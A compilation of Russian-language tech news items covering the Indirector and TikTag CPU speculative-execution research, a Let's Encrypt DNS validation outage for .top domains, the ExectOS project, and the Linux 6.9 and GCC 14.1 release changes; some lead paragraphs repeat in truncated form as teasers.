Исследователи из Калифорнийского университета в Сан-Диего представили новый метод атаки на микроархитектурные структуры процессоров Intel, применимый среди прочего к CPU на базе микроархитектур Raptor Lake и Alder Lake. Атака, которая получила кодовое имя Indirector, позволяет добиться изменения хода спекулятивного выполнения инструкций в других процессах и на других уровнях привилегий (например в ядре или другой виртуальной машине), выполняемых в одном потоке CPU с кодом атакующего. В качестве демонстрации работы метода подготовлен прототип эксплоита, позволяющий определить раскладку адресов памяти для обхода механизма защиты ASLR (Address Space Layout Randomization). Кроме того, под лицензией MIT опубликован инструментарий, разработанный для анализа и обратного инжиниринга микроархитектурной логики CPU.
Предложено два метода организации атаки. Первый способ основан на искажении содержимого буфера предсказания косвенных переходов IBP (Indirect Branch Predictor), используемого для предсказания косвенных переходов в условиях, когда адрес или смещение для перехода ещё не известны и вычисляются в инструкциях, предшествующих инструкции перехода. Второй метод затрагивает буфер предсказания переходов BTB (Branch Target Buffer), содержащий информацию о недавних переходах.
Выявленные уязвимости дают возможность атакующему определить содержимое записей в буферах IBP и BTB, содержащие адреса переходов, используемые в сторонних процессах, а также осуществить подстановку произвольного адреса перехода в таблицы данных буферов. В итоге атакующий может добиться перенаправления потока выполнения стороннего процесса на желаемый адрес в памяти в ходе спекулятивного выполнения инструкций. После определения ошибочного прогноза результат спекулятивного выполнения отбросится, но адреса и данные, считанные из памяти в процессе спекулятивного выполнения инструкций, осядут в кэше и их можно будет извлечь, воспользовавшись одним из способов определения содержимого кэша на основе анализа изменения времени доступа к прокэшированным и не прокэшированным данным. Определение точных адресов косвенных переходов на практике, например, можно использовать для обхода механизма защиты ASLR.
Исследователи из Калифорнийского университета в Сан-Диего представили новый метод атаки на микроархитектурные структуры процессоров Intel, применимый среди прочего к CPU на базе микроархитектур Raptor Lake и Alder Lake. Атака, которая получила кодовое имя Indirector,
Пользователи некоммерческого удостоверяющего центра Let's Encrypt, контролируемого сообществом и предоставляющего сертификаты безвозмездно всем желающим, при получении сертификатов столкнулись с невозможностью подтверждения прав на домены в зоне ".top" через DNS. С 25 июня DNS-серверы, отвечающие за домен первого уровня ".top", перестали принимать запросы от резолверов проекта Lets Encrypt, используемых в процессе проверки методом DNS-01, которая, например, требуется для получения сертификатов с масками, позволяющими охватить в одном сертификате группу поддоменов (например, *.example.com).
Изначально предполагалось, что проблема связана с DNSSEC, но затем выяснилось, что сбой при проверке через DNSSEC не причина, а следствие и DNS-серверы домена ".top" возвращают ошибку для всех запросов Lets Encrypt, что характерно для целенаправленной блокировки. Сотрудники Let's Encrypt пытаются связаться с владельцами NS-серверов домена .top, но пока безуспешно.
Пользователи некоммерческого удостоверяющего центра Let's Encrypt, контролируемого сообществом и предоставляющего сертификаты безвозмездно всем желающим, при получении сертификатов столкнулись с невозможностью подтверждения прав на домены в зоне ".top" через DNS. С 25 июня DNS-серверы, отвечающие за домен первого уровня ".top", перестали принимать запросы от резолверов проекта Lets Encrypt, используемых в процессе проверки методом
Проект ExectOS предпринял попытку создания с нуля новой операционной системы, оснащённой микроядром с архитектурой XT, созданной по мотивам ядра Windows NT. Компоненты ядра в ExectOS отделены от подсистемы, обеспечивающей работу драйверов устройств, что позволяет обновлять основное ядро без необходимости перекомпиляции драйверов для нового ядра. Код проекта написан на языке С и распространяется под лицензией GPLv3.
Операционная система развивается с оглядкой на возможность предоставления прослойки для выполнения существующих приложений, использующих API Win32, а также способность использования драйверов, поставляемых для Windows. В текущим виде подобные прослойки пока только в планах, а для работы используются собственные приложения и драйверы. Отличия от ReactOS сводятся к тому, что ExectOS развивает отдельную самодостаточную ОС со своей архитектурой XT, предоставляющую слой для совместимости с приложениями для Windows, в то время как ReactOS пытается повторить Windows.
Архитектура ядра XT обеспечивает вытесняющую многозадачность и включает два базовых слоя: микроядро и компоненты, работающие в пространстве пользователя. Компоненты уровня ядра выполняются в отдельной защищённость области памяти и имеют полный доступ к аппаратному обеспечению и системным ресурсам. При этом в отличие от ядра NT в XT отсутствует отдельный уровень HAL (Hardware Abstraction Layer), работающий как прослойка между оборудованием и остальной операционной системой.
Уровень пользователя включает подсистемы, обеспечивающие возможность запуска приложений, написанных для различных операционных систем. Например, подобные подсистемы могут реализовать прослойки для поддержки POSIX-совместимого окружения или для обеспечения запуска программ на базе API Win32. Проектом также развивается собственный загрузчик XT Boot Loader, поддерживающий UEFI, и сборочный инструментарий XTChain на базе LLVM/Clang/LLD.
В текущем виде система поддерживает только процессоры на базе архитектур i686 и 86_64, но сборочный инструментарий дополнительно поддерживает и архитектуру ARM64. Проект развивается с 2022 года, но разработка пока не вышла за рамки начальной стадии. Для тестирования текущего состояния периодически формируются тестовые сборки, которые можно запускать в QEMU или загружать на системах с EFI с USB-накопителя.
В качестве причины создания новой ОС называется желание избавить себя от рамок и ограничений, которые могли бы сдерживать при реализации принципиально новых идей построения операционных систем. Некоторые идеи, которые пытаются воплотить авторы ExectOS, значительно расходятся с архитектурой других проектов, и их легче реализовать без оглядки на существующий код. Разработчики ExectOS также хотели получить полную свободу в экспериментах и возможность на начальной стадии не заботиться о совместимости и соответствии каким-либо требованиям.
Проект ExectOS предпринял попытку создания с нуля новой операционной системы, оснащённой микроядром с архитектурой XT, созданной по мотивам ядра Windows NT. Компоненты ядра в ExectOS отделены от подсистемы, обеспечивающей работу драйверов устройств, что позволяет обновлять основное ядро без необходимости перекомпиляции драйверов для нового ядра. Код проекта написан на языке С и
Группа исследователей из Сеульского университета и компании Samsung разработала технику атаки на процессоры ARM, получившую кодовое имя TikTag, которую можно использовать для обхода аппаратного механизма защиты MemTag (MTE, Memory Tagging Extension), присутствующего в чипах на базе архитектуры ARMv8.5-A. Атака позволяет определить содержимое тегов TikTag для произвольных адресов памяти из-за утечек данных, возникающих в результате спекулятивного выполнения инструкций CPU.
Технология MemTag даёт возможность привязать теги к областям в памяти и организовать проверку корректности использования указателей для блокирования эксплуатации уязвимостей, вызванных обращением к уже освобождённым блокам памяти, переполнением буфера и обращением до инициализации. При использовании MemTag для каждых 16 байт физической памяти создаётся 4-битовый тег, который выступает подобием ключа для доступа к этой памяти. Тег может быть сгенерирован приложением для выделяемой области памяти при помощи специальных инструкций CPU, и затем сохранён в верхних неиспользуемых битах указателя. При обращении к памяти с использованием теггированного указателя, процессор проверяет соответствие тега, привязанного к указателю, с тегами, привязанными к блокам памяти, и разрешает доступ только если теги совпадают.
Предложенный метод атаки позволяет определить привязанные к блокам памяти теги и обойти защиту MemTag. Исследователями продемонстрирована возможность осуществления атаки TikTag при эксплуатации уязвимостей в ядре Linux и браузере Chrome, используя существующие в данных продуктах последовательности инструкций (гаджеты), приводящие к спекулятивному выполнению кода. Подобные гаджеты при выполнении в спекулятивном режиме кода, работающего с указателями, вызывают чтение метаданных MemTag в зависимости от внешних условий, на которые может влиять атакующий. После определения ошибочного прогноза результат спекулятивного выполнения отбрасывается, но полученные данные остаются в кэше и могут затем быть извлечены при помощи анализа по сторонним каналам. Вероятность успешного обхода защиты MemTag в проведённых тестах оценена в 95% при проведении атаки в течение примерно 4 секунд.
Выявлено два вида гаджетов, приводящих к утечке сведения о тегах MemTag. В первом случае спекулятивное выполнение возникает при неверном предсказании перехода, а условия для выполнения гаджета могут быть созданы через манипуляции с системными вызовами. Во втором случае спекулятивное выполнение возникает из-за ошибки предсказания взаимосвязи между операциями чтения и записи при использовании оптимизации STLF (Store-To-Load-Forwarding), что позволяет подобрать тег, оценивая состояние кэша (если тег совпадает, значение будет напрямую перенаправлено из прошлой команды "store" в операцию "load" и изменит состояние кэша). Первый вид гаджетов подходит для атаки на ядро Linux, а второй на JavaScript-движок V8, используемый в браузерах на базе Chromium. Прототип инструментария для проведения атаки опубликован на GitHub.
Компания ARM подтвердила возможность совершения атаки на системах с процессорами Cortex-X2, Cortex-X3, Cortex-A510, Cortex-A520, Cortex-A710, Cortex-A715 и Cortex-A720, но не намерена вносить изменения в CPU для блокирования проблемы, так как архитектура MemTag подразумевает, что теги не являются секретными данными для приложений. В кодовой базе Chromium проблема также остаётся неисправленной, так как в браузере Chrome защита на основе MemTag пока не применяется по умолчанию. Команда, отвечающая за безопасность платформы Android, признала возможность совершения атаки на устройства Pixel 8, в которых применяется защита MemTag, добавила исправления для блокирования утечек и выразила готовность выплатить вознаграждение за найденную уязвимость.
В качестве обходных методов для блокирования атаки исследователи предлагают использовать инструкции sb или isb для запрета спекулятивного выполнения во время совершения критических операций с памятью или включать между инструкциями ветвления и инструкциями доступа к памяти заполнение из других инструкций.
Группа исследователей из Сеульского университета и компании Samsung разработала технику атаки на процессоры ARM, получившую кодовое имя TikTag, которую можно использовать для обхода аппаратного механизма защиты MemTag (
После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 6.9. Среди наиболее заметных изменений: модуль dm-vdo для дедупликации и сжатия блочных устройств, режим прямого доступа к файлам в FUSE, поддержка создания pidfd для отдельных потоков, механизм BPF-токенов, поддержка Rust на системах ARM64, перевод ФС Ext2 в разряд устаревших, удаление старого драйвера NTFS, поддержка механизма Intel FRED.
В новую версию принято 15680 исправлений от 2106 разработчиков, размер патча - 54 МБ (изменения затронули 11825 файлов, добавлено 687954 строк кода, удалено 225344 строк). В прошлом выпуске было 15641 исправление от 2018 разработчиков, размер патча - 44 МБ. Около 42% всех представленных в 6.9 изменений связаны с драйверами устройств, примерно 17% изменений имеют отношение к обновлению кода, специфичного для аппаратных архитектур, 13% связано с сетевым стеком, 7% - с файловыми системами и 4% c внутренними подсистемами ядра.
- Дисковая подсистема, ввод/вывод и файловые системы
- В Device Mapper (DM) добавлен новый обработчик dm-vdo (virtual data optimizer), позволяющий на базе существующих блочных устройств реализовать виртуальное блочное устройство, обладающее такими возможностями, как дедупликация повторяющихся данных, сжатие данных, исключение пустых блоков и увеличения размера блочного устройства по мере появления необходимости (thin provisioning). Указанные возможности реализуются на уровне блочного устройства и не зависят от используемой файловой системы (например, при помощи dm-vdo можно реализовать автоматическое объединение дублирующихся данных и хранение информации в сжатом виде для любых ФС). Поддерживается применение dm-vdo для физических хранилищ, размером до 256TB, и создание логических томов, размером до 4PB. Для управления разделами vdo рекомендуется использовать lvm. Технология VDO разработана компанией Permabit и открыта после её поглощения Red Hat в 2017 году.
- В подсистеме FUSE, применяемой для реализации файловых систем в пространстве пользователя, добавлена начальная реализация режима "passthrough", позволяющего напрямую на уровне ядра получать данные файлов, минуя процесс, работающий в пространстве пользователя, что позволяет в некоторых ситуациях существенно повысить производительность. Например, FUSE-реализации ФС, работающие в режиме только для чтения и разграничивающие доступ к файлам, могут отдавать содержимое файлов из исходной ФС без их передачи в процесс FUSE.
- В категорию устаревших (deprecated) переведён драйвер с реализацией файловой системы Ext2. В качестве причины упоминается поддержка в драйвере только 32-разрядных счётчиков времени в inode, которые переполнятся 19 января 2038 года. Вместо драйвера ext2 предлагается использовать драйвер ext4, который поддерживает работу с файловой системой Ext2 и полностью совместим с ней, но при этом может использовать в ext2-разделах временные метки, не подверженные проблеме 2038 года, если ФС создана с inode, размером более 255 байт (в драйвере ext2 32-разрядные счётчики времени использовались независимо от размера inode).
- Удалён старый драйвер файловой системы NTFS, на смену которому начиная с выпуска 5.15 пришёл новый драйвер NTFS3. Поставка в ядре двух драйверов с реализацией NTFS признана нецелесообразной, с учётом того, что старый драйвер не обновлялся уже много лет, находится в плачевном состоянии и может работать только в режиме чтения.
- В файловые системы zonefs и hugetlbfsдобавлена поддержка маппинга идентификаторов пользователей примонтированных файловых систем, применяемого для сопоставления файлов определённого пользователя на примонтированном чужом разделе с другим пользователем в текущей системе.
- В NFSv4 для администраторов предоставлена возможность очистки состояний открытия и блокировки файлов.
- Для файловой системы Ext4 отмечается только исправление ошибок и обновление kunit-тестов.
- В Btrfs продолженперевод функций на использование фолиантов страниц памяти (page folios).
- В файловой системе XFS продолжена работа над реализацией возможности применения утилиты fsck для проверки и исправления выявленных проблем в online-режиме, без отмонтирования файловой системы.
- В системный вызов pwritev2() добавлен флаг RWF_NOAPPEND, позволяющий указать смещение для записи, даже если файл был открыт в режиме только добавления данных в конец файла.
- Добавлены новые ioctl-команды: FS_IOC_GETUUID - возвращает UUID-идентификатор указанной файловой системы, и FS_IOC_GETFSSYSFSPATH - определяет местоположение в /sys/fs заданной примонтированной ФС.
- Файловые системы efs, qnx4 и coda переведены на использование нового API монтирования разделов.
- Улучшена реализация операций с файлами, выполняемых в режиме без учёта регистра символов. Повышена производительность за счёт выполнения вначале сравнения с учётом регистра и отката на поиск без учёта регистра. Решены проблемы при монтировании overlayfs поверх каталогов, для которых выставлен режим без учёта регистра символов.
- Память и системные сервисы
- Реализованаподдержка механизма Intel FRED (Flexible Return and Event Delivery), созданного для повышения эффективности и надёжности доставки информации о низкоуровневых событиях, по сравнению с применяемым ныне механизмом IDT (Interrupt Descriptor Table). Повышение производительности и сокращение задержек обеспечивается благодаря возвращению событий процессорной инструкцией IRET вместо передачи событий через таблицу IDT. Повышение надёжности достигается из-за раздельной обработки поступления события в контексте ядра и контексте пользователя, защиты от вложенного выполнения NMI и сохранения в расширенном кадре стека всех связанных с исключением регистров CPU.
- Добавлена возможность оптимизации доступа к данным отдельных ядер CPU через использования в коде ядра именованных адресных пространств (Named Address Spaces), реализованных в GCC в форме расширения GNU C.
- В функцию pidfd_open() добавлен флаг PIDFD_THREAD, позволяющий создавать pidfd для отдельных потоков, а не только использовать pidfd в контексте лидера группы потоков. Также предложена реализация псевдо-ФС для доступа к pidfd через виртуальную файловую систему. В отличие от идентификации процессов при помощи pid, идентификатор pidfd связывается с конкретным процессом и не меняется, в том время как PID после завершения текущего процесса может быть привязан к другому процессу.
- В подсистему BPF добавлен механизм BPF-токенов, позволяющий выборочно делегировать программам права доступа к привилегированным BPF-операциям, например, можно предоставить непривилегированному приложению доступ к отдельным подсистемам BPF без предоставления полных прав CAP_BPF.
- В подсистему BPF добавлен новый тип разделяемой памяти bpf_arena, определяющий область, доступную для совместного использования программами BPF и процессами в пространстве пользователя. Добавлена инструкция may_goto, позволяющая организовать работу циклов, которые могут быть прерваны верификатором. Добавлена возможность генерации из BPF-программ произвольных TCP SYN cookie и создания BPF-обработчиков для борьбы с SYN-флудом.
- Продолжен перенос изменений из ветки Rust-for-Linux, связанных с использованием языка Rust в качестве второго языка для разработки драйверов и модулей ядра (поддержка Rust не активна по умолчанию, и не приводит ко включению Rust в число обязательных сборочных зависимостей к ядру). Добавлена поддержка использования языка Rust при работе на 64-разрядных процессорах ARM. Осуществлён переход на использование выпуска Rust 1.76. Добавлен макрос 'container_of!'. Вместо нестабильной функциональности 'ptr_metadata' задействован стабильный метод 'byte_sub'. Добавлен модуль 'time' с функцией преобразования времени 'msecs_to_jiffies()'.
- В подсистему io_uringдобавлена возможность усечения файлов (ftruncate_file).
- Добавлен новый тип рабочих очередей WQ_BH (workqueue Bottom Halves) для асинхронного выполнения кода в контексте программных прерываний, нацеленный на использование вместо устаревших tasklet-ов.
- Значительно переработана подсистема работы с таймером, в которой улучшена логика выбора активного ядра CPU для выполнения сработавшего таймера, чтобы не выводить из спящего режима неактивные ядра.
- Реализована возможность обновления модели потребления энергии ядра (EM, Energy Model) во время работы, что может использоваться, например, для учёта влияния рабочей температуры на энергетическую эффективность CPU. Значительно повышена производительность функции em_cpu_energy(), которая в тестах на стационарной системе теперь выполняется быстрее в 1.43 раза, а в тесте на плате RockPi 4B - в 1.69 раза.
- Добавлена поддержка запуска систем на базе архитектуры ARM64 в режиме LPA2 с 52-разрядным виртуальным адресным пространством.
- Для систем ARM64 реализована поддержка непрерывных записей PTE (Page Table Entry), позволяющих повысить производительность за счёт повышения эффективности использования TLB (Translation Lookaside Buffer).
- Приняты патчи для повышения производительности подсистемы управления памятью за счёт сокращения возникновения конкурирующих блокировок в vmalloc().
- Для архитектуры LoongArch реализован механизм горячего наложения патчей на ядро (live patching), позволяющий применять исправления к ядру без перезагрузки.
- Для систем RISC-V реализована поддержка системного вызова membarrier(), обеспечивающего установку барьеров на память для работающих в системе потоков.
- Подняты требования к версии LLVM/Clang, которую можно использовать для сборки ядра. Для сборки теперь требуется как минимум выпуск LLVM 13.0.1 (ранее поддерживалась сборка в LLVM 11+).
- В механизм "User trace events", позволяющий создавать события трассировки из пользовательских процессов для отслеживания активности в пространстве пользователя, добавлена поддержка экспорта сведений о событии в различных форматах (USER_EVENT_REG_MULTI_FORMAT).
- В механизм трассировки вызова функций добавлена возможность отслеживания состояния входящих аргументов функции при трассировке выхода из функции. Значения оператора return теперь можно сопоставить с аргументами, использованными при вызове функции.
- В утилиту perf добавлена поддержка режима агрегирования вывода "cluster" ("perf stat -a --per-cluster") для объединения статистики разделяемых ресурсов. Реализована возможность задействования библиотеки libcapstone для дизассемблирования процессорных инструкций ("perf script -F disasm"). Проведены оптимизации потребления памяти при выполнении команд perf report' и 'perf annotate'.
- Виртуализация и безопасность
- Добавлена защита от уязвимости RFDS (Register File Data Sampling) в процессорах Intel Atom, позволяющей извлечь остаточную информацию из регистровых файлов (RF, Register File) процессора, которые используются для совместного хранения содержимого регистров во всех задачах на том же ядре CPU. Для блокирования уязвимости требуется обновление микрокода и использование инструкции VERW для очистки содержимого микроархитектурных буферов в момент возвращения из ядра в пространство пользователя. Для включения защиты при загрузке ядра можно указать флаг "reg_file_data_sampling=on". Информация о подверженности уязвимости и наличии необходимого для защиты микрокода можно оценить в файле "/sys/devices/system/cpu/vulnerabilities/reg_file_data_sampling".
- Добавлена базовая поддержка защиты гостевых систем при помощи расширения AMD SEV-SNP (Secure Nested Paging), обеспечивающего безопасную работу с вложенными таблицами страниц памяти и защищающего от атак "undeSErVed" и "SEVerity" на процессоры AMD EPYC, позволяющих обойти механизм защиты AMD SEV (Secure Encrypted Virtualization). В KVM необходимые для использования SNP изменения планируются добавить в ветке 6.10.
- Модули с реализацией технологий IMA (Integrity Measurement Architecture) и ЕVM (Extended Verification Module) переведены на использование фреймворка LSM (Linux Security Modules), что без потери функциональности позволило заметно упростить код, объединить дублирующуюся функциональность и задействовать доступные через LSM типовые возможности. Модуль IMA предназначен для проверки целостности компонентов операционной системы по цифровым подписям и хэшам. Модуль EVM позволяет защитить расширенные атрибуты файлов (xattrs) от атак, направленных на нарушение их целостности (EVM не позволит совершить offline-атаку, при которой злоумышленник может изменить метаданные, например, загрузившись со своего накопителя).
- Переделаны для большей совместимости с 32-разрядными окружениями системные вызовы lsm_list_modules(), lsm_get_self_attr() и lsm_set_self_attr(), предназначенные для вывода списка загруженных LSM-модулей (Linux Security Modules) и получения/выставления атрибутов LSM-модуля. Изменение нарушает обратную совместимость, но так как новые системные вызовы были добавлены в прошлом выпуске ядра и пока не используются в приложениях, Линус Торвальдс посчитал, что изменение допустимо.
- Предпринята попытка возобновленияиспользования механизма UBSAN (Undefined Behavior Sanitizer). Сутьпроблемы в том, что компиляторы по разному обрабатывают целочисленные переполнения знаковых и беззнаковых типов. Знаковые переполнения и переполнения указателей относятся к категории неопределённого поведения, а беззнаковые переполнения отсекаются по модулю 2n с сохранением только младших битов результата ("wrap-around") и не подпадают под неопределённое поведение. Чтобы исключить ситуации с возникновением неопределённого поведения ядро собирается с опцией "-fno-strict-overflow", которая приводит к использованию "wrap-around" для всех целочисленных переполнений. GCC и Clang не могут нормально диагностировать некоторые проблемы при использовании флага "-fno-strict-overflow" и включение UBSAN нацелено на проведение совместной с разработчиками компиляторов работы по устранению возникающих ложных срабатываний и выявления целочисленных переполнений в местах, в которых отсутствуют явные проверки.
Для проверки возможных переполнений в ядре используются конструкции вида "var + offset < var" (например, "if (pgoff + (size › PAGE_SHIFT) < pgoff){..}"), которые завязаны на сборку с флагом "-fno-strict-overflow" и не охватывают весь код, в котором потенциально может возникнуть переполнение. Проблема в том, что при использовании UBSAN подобные проверки приводили к выводу большого числа ложных предупреждений, и из-за этого в 2021 году UBSAN пришлось отключить. В обновлённой реализации предложено использовать специальные аннотации __signed_wrap и __unsigned_wrap, а также готовые макросы с проверками add_would_overflow(a, b) и add_wrap(a, b), позволяющие отделить предусмотренное разработчиками использования целочисленных переполнений от возникновения случайных переполнений, способных привести к уязвимостям. Предложение более масштабной переделки ядра с введением дополнительных определений типов отвергнуто Линусом Торвальдсом.
- Сетевая подсистема
- В сетевой подсистеме проведена работа по снижению возникновения конкурирующих блокировок ("lock contention", попытка получить блокировку, удерживаемую другим потоком). Сокращено использования блокировок RTNL.
- Добавлена возможность включения поддержки активного полинга сокетов (busy polling) в контексте отдельных вызовов epoll. Размер пула и параметры бюджета могут выставляться отдельно от системных параметров по умолчанию.
- Реализована структура net_hotdata для повышения эффективности кэширования наиболее часто используемых переменных сетевой конфигурации.
- В MPTCP добавлена поддержка установки для сокетов опции TCP_NOTSENT_LOWAT, позволяющей ограничить размер буфера отправки. В API для сокетов MCTP добавлена поддержка индентификаторов сети ("network ID"), дающих возможность использовать на одном хосте несколько непересекающихся сетей MCTP.
- В IPSec добавлена поддержка перенаправления ICMP-сообщений с информацией об ошибках (RFC 4301).
- Ускорен процесс сканирования маршрутов с истекшим временем жизни.
- Ускорена работа XDP, благодаря более жёсткому избеганию выделения больших блоков памяти.
- Добавлена возможность прикрепления метаданных к сообщениям netconsole.
- В Netfilter разрешено определение из пространства пользователя таблиц, которые привязываются к управляющему фоновому процессу и не удаляются автоматически после завершения пользовательского приложения.
- В nftables ускорено добавление элементов в set-наборы с объединёнными диапазонами.
- Оборудование
- В драйвере i915 продолженаработа по реализации поддержки чипов Intel LunarLake (Xe 2). Добавлены новые PCI-идентификаторы для устройств на базе чипов Intel Arrow Lake и Alder Lake N. Для Displayport добавлена поддержка туннелинга (DP tunneling) и выделения пропускной способности (bandwidth allocation). Для всех платформ включён режим fastboot. Добавлена поддержка отладочного вывода в привязке к отдельным устройствам.
- В драйвере AMDGPU проведена подготовка к реализации поддержки GPU AMD RDNA3.5 и RDNA4. Добавлена поддержка ATHUB 4.1, LSDMA 7.0, JPEG DPG, IH 7.0, HDP 7.0, VCN 5.0, SMU 13.0.6, NBIO 7.11, SDMA 6.1, MMHUB 3.3, DCN 3.5.1, NBIF 6.3.1, VPE 6.1.1 и фреймворка RAS ACA. В модуль ядра добавлен параметр freesync_video для включения экспериментальной поддержки оптимизации переключения видеорежимов с использованием технологии адаптивной синхронизации FreeSync.
- В драйвере Nouveau код управления экраном переведён на использование функции kmemdup().
- Продолженаработа над drm-драйвером (Direct Rendering Manager) Xe для GPU на базе архитектуры Intel Xe, которая используется в видеокартах Intel семейства Arc и интегрированной графике, начиная с процессоров Tiger Lake.
- Добавлен DRM-драйвер для чипов Mediatek MT8188 VDOSYS1.
- Связанные с видеоподсистемами настройки ядра перенесены в секцию CONFIG_VIDEO.
- Добавлена поддержка ARM64 SoC: Mediatek MT7981B (Filogic 820), MT7988A (Filogic 880), NXP i.MX8DXP, Renesas R8A779G2 (R-Car V4H ES2.0), R8A779H0 (R-Car V4M), TI J722S.
- Добавлена поддержка ARM-плат и устройств: Android-телефоны на базе чипа Tegra30, модели Chromebook на базе Mediatek MT8186, NAS, планшеты и игровые консоли на базе Rockchips RK35xx, платы White Hawk на базе SoC Renesas, платы на базе Qualcomm SM8550 (Snapdragon 8 Gen 2), Apalis Evaluation Board, Sielaff i.MX6 Solo Board, Samsung Galaxy Tab 4 10.1 LTE.
- Проведён рефакторинг кода звуковой подсистемы ALSA. Добавлена поддержка звуковых систем Microchip SAM9x7, NXP i.MX95 и Qualcomm WCD939x. В драйвер SoundWire добавлена поддержка ASoC со звуковыми сопроцессорами AMD ACP 6.3, а для систем Intel реализован режим DSPless. Добавлена поддержка дополнительных звуковых кодеков Cirrus HD. В драйвере virtio улучшено управление звуковыми устройствами.
- Добавлена поддержка Ethernet-контроллеров Marvell Octeon PCI Endpoint NIC VF и Intel E825-C 100G.
Одновременно латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 6.9 - Linux-libre 6.9-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В выпуске 6.9 обновлён код чистки блобов в драйверах amdgpu, ath12k, adreno, btusb и r8169. Проведена чистка нового драйвера ptp_fc3. Проведена чистка имён блобов в dts-файлах (devicetree) для архитектуры Aarch64. Устранены проблемы с чисткой драйвера i915, приводившие к зависанию во время инициализации. Внесены изменения, связанные с обработкой блобов, поставляемых в виде шестнадцатеричных дампов.
После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 6.9. Среди наиболее заметных изменений: модуль dm-vdo для дедупликации и сжатия блочных устройств, режим прямого доступа к файлам в FUSE, поддержка создания pidfd для отдельных потоков, механизм BPF-токенов, поддержка Rust на системах ARM64, перевод ФС Ext2 в разряд устаревших, удаление старого драйвера NTFS, поддержка механизма Intel FRED.
После года разработки опубликован релиз свободного набора компиляторов GCC 14.1, первый значительный выпуск в новой ветке GCC 14.x. В соответствии с новой схемой нумерации выпусков, версия 14.0 использовалась в процессе разработки, а незадолго до выхода GCC 14.1 уже ответвилась ветка GCC 15.0, на базе которой будет сформирован следующий значительный релиз GCC 15.1.
- Значительно расширены возможности для статического анализа кода на языке Си, доступные через опцию "-fanalyzer" (статический анализ для языка С++ пока не доведён до должного вида). Усилен анализ операций со строками и проверка наличия завершающего строку нулевого символа. Добавлено новое предупреждение "-Wanalyzer-infinite-loop" для выявления бесконечных циклов. Добавлена серия предупреждений "-Wanalyzer-tainted-*" для выявления проблем с проверкой входных данных. Расширены возможности предупреждения "-Wanalyzer-out-of-bounds" для выявления переполнений буфера, например, добавлена возможность отображения диаграммы с визуализацией состояния, приводящего к переполнению.
- Добавлена новая сборочная опция "--enable-host-pie" для сборки исполняемых файлов компилятора в режиме PIE (Position Independent Executable), а также опция "--enable-host-bind-now" для связывания с опциями "-Wl,-z,now".
- Добавлена новая опция "-fhardened", включающая флаги для усиления безопасности (-D_FORTIFY_SOURCE=3 -D_GLIBCXX_ASSERTIONS -ftrivial-auto-var-init=zero -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector-strong -fstack-clash-protection -fcf-protection=full).
- Добавлена опция "-fharden-control-flow-redundancy" для добавления в конец функций кода для выявления некоторых форм неопределённого поведения, которые потенциально могут привести к нарушению нормального порядка выполнения (control flow) в результате применения эксплоитов, изменяющих хранимые в памяти указатели на функции и передающих управление в середину функций.
- Добавлен новый атрибут типов "hardbool", позволяющий переопределить значения, сопоставленные с признаками true и false для затруднения некоторых видов атак.
- Добавлен новый атрибут типов strub для управление обнулением кадров стека с данными функций и переменных после выхода из функции или срабатывания исключения.
- Добавлена опция -finline-stringops для включения inline-раскрытия функций memcmp, memcpy, memmove и memset, даже когда это не нужно для оптимизации.
- Добавлен новый атрибут функций null_terminated_string_arg(PARAM_IDX) для пометки параметров, которые следует трактовать как строки, заканчивающиеся нулевым символом.
- В векторизаторе реализована поддержка векторизации циклов, содержащих выражения "break".
- Добавлена начальная поддержка предварительной версии спецификации OpenMP 6.0 (Open Multi-Processing) и продолжена реализация стандартов OpenMP 5.0, 5.1 и 5.2, определяющих API и способы применения методов параллельного программирования на многоядерных и гибридных (CPU+GPU/DSP) системах с общей памятью и блоками векторизации (SIMD).
- Улучшена реализация спецификаций параллельного программирования OpenACC 2.7 и 3.2, определяющих средства для выноса операций (offloading) на GPU и специализированные процессоры, такие как NVIDIA PTX.
- Для C, C++ и Objective-C реализована поддержка расширений "__has_feature" и "__has_extension", применяемых в Clang.
- Реализованы возможности, определённые в будущем Си-стандарте C23, такие как типы "_BitInt (N)" и "unsigned _BitInt (N))". Структуры, объединения и перечисления разрешено определять более одного раза в одной области видимым с одним и тем же содержимым и повторяющимся тегом. Добавлена поддержка заголовочного файла stdckdint.h. Для включения поддержки элементов C23 предложены флаги "-std=c23", "-std=gnu23" и "-Wc11-c23-compat".
- Для языка Си добавлено выражение "#pragma GCC novector", отключающее векторизацию анотированных циклов.
- Добавлены возможности, связанные со стандартом C++23. Добавлена поддержка механизма "Deducing this", позволяющего использовать в шаблоне параметры с признаком "this" и дающего возможность из функции класса узнать категорию выражения (например, является ли константой), для которого эта функция вызвана. Реализовано требование, в соответствии с которым все функции, вызывающие функции с признаком consteval тоже становятся consteval, т.е. выполняются при компиляции. Ослаблены некоторые требования к "constexpr".
- Добавлены возможности, связанные с будущим стандартом C++2с (C++26). Например, предоставлена возможность использования строковых литералов в контексте, в котором они не используются для инициализации массива символов и не попадают в результирующий код, а применяются только во время компиляции для диагностических сообщений и препроцессинга. Добавлена возможность использования сразу нескольких переменных-заполнителей с именем "_" в одной области видимости. Переведено в разряд устаревших выполнение неявных преобразований перечисляемых значений в арифметических вычислениях.
- В libstdc++ улучшена поддержка стандартов C++20, C++23 и C++26.
- В компиляторе для языка Fortran началась работа над поддержкой стандарта Fortran 2023 (-std=f2023).
- Объявлена устаревшей поддержка расширения GCC, позволяющего указывать гибкий элемент-массив (массив неопределённого размера, например, "int b[]") не в самом конце структуры (Flexible Array Members). Массив неопределённого размера в дальнейшем можно будет использовать только в конце структуры.
- В бэкенде для архитектуры AArch64 реализована поддержка CPU Ampere-1B (ampere1b), Arm Cortex-A520 (cortex-a520), Arm Cortex-A720 (cortex-a720), Arm Cortex-X4 (cortex-x4) и Microsoft Cobalt-100 (cobalt-100). Для использования в опциях "-mcpu=" и "-mtune=" добавлены новые идентификаторы CPU generic, generic-armv8-a и generic-armv9-a. Добавлена поддержка расширений Arm SME и SME2 (Streaming Matrix Extensions). Реализованы специфичные для архитектуры AArch64 оптимизации.
- В бэкенде для архитектуры ARM добавлена поддержка CPU Cortex-M52 (cortex-m52 в опциях "-mcpu=" и "-mtune=").
